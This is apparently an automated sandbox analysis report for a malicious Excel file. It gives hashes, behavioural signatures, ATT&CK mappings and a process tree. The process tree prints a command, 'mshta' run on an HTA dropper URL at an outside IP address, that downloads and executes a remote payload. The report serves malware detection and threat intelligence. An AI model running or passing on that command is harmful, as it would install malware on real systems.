0f502d9c5bda6dd7da36f80b951ecac88e8b582f04ead350dc877dd48c8c705f

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 18:51

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General

Target

0f502d9c5bda6dd7da36f80b951ecac88e8b582f04ead350dc877dd48c8c705f.xls
Size

84KB
MD5

da2d1c1a6c2664e1005d0e2053d6e59f
SHA1

367ee33c51ab9cff71a105ef0bc2fd71329844f6
SHA256

0f502d9c5bda6dd7da36f80b951ecac88e8b582f04ead350dc877dd48c8c705f
SHA512

3bdec658a2c0ad517f35b50aff04f5179790f7b8932d8aa9948bee71ed16a26fca2d88bd2d15c30a70650986b020b7e299950ee5d17f0cb9975af0afa4c15ae5
SSDEEP

1536:H0k3hbdlylKsgqopeJBWhZFGkE+cMLxAAIzSEV2NnX4Ia3gg5W8IuD7PoHsP7e3/:H0k3hbdlylKsgqopeJBWhZFGkE+cMLxz

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.172/gg/ff/fe.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

CMD.EXE

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2404	1380	CMD.EXE	29

Blocklisted process makes network request 2 IoCs

Processes:

mshta.exe

flow	pid	Process
4	2680	mshta.exe
7	2680	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

EXCEL.EXECMD.EXEmshta.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CMD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

mshta.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid	Process
1380	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

EXCEL.EXE

pid	Process
1380	EXCEL.EXE
1380	EXCEL.EXE
1380	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXECMD.EXE

description	pid	Process	procid_target
PID 1380 wrote to memory of 2404	1380	EXCEL.EXE	30
PID 1380 wrote to memory of 2404	1380	EXCEL.EXE	30
PID 1380 wrote to memory of 2404	1380	EXCEL.EXE	30
PID 1380 wrote to memory of 2404	1380	EXCEL.EXE	30
PID 2404 wrote to memory of 2680	2404	CMD.EXE	32
PID 2404 wrote to memory of 2680	2404	CMD.EXE	32
PID 2404 wrote to memory of 2680	2404	CMD.EXE	32
PID 2404 wrote to memory of 2680	2404	CMD.EXE	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\0f502d9c5bda6dd7da36f80b951ecac88e8b582f04ead350dc877dd48c8c705f.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1380
- C:\Windows\SysWOW64\CMD.EXE
  CMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2404
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://91.240.118.172/gg/ff/fe.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1380-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1380-1-0x00000000728BD000-0x00000000728C8000-memory.dmp

Filesize
44KB

Download
memory/1380-2-0x00000000728BD000-0x00000000728C8000-memory.dmp

Filesize
44KB

Download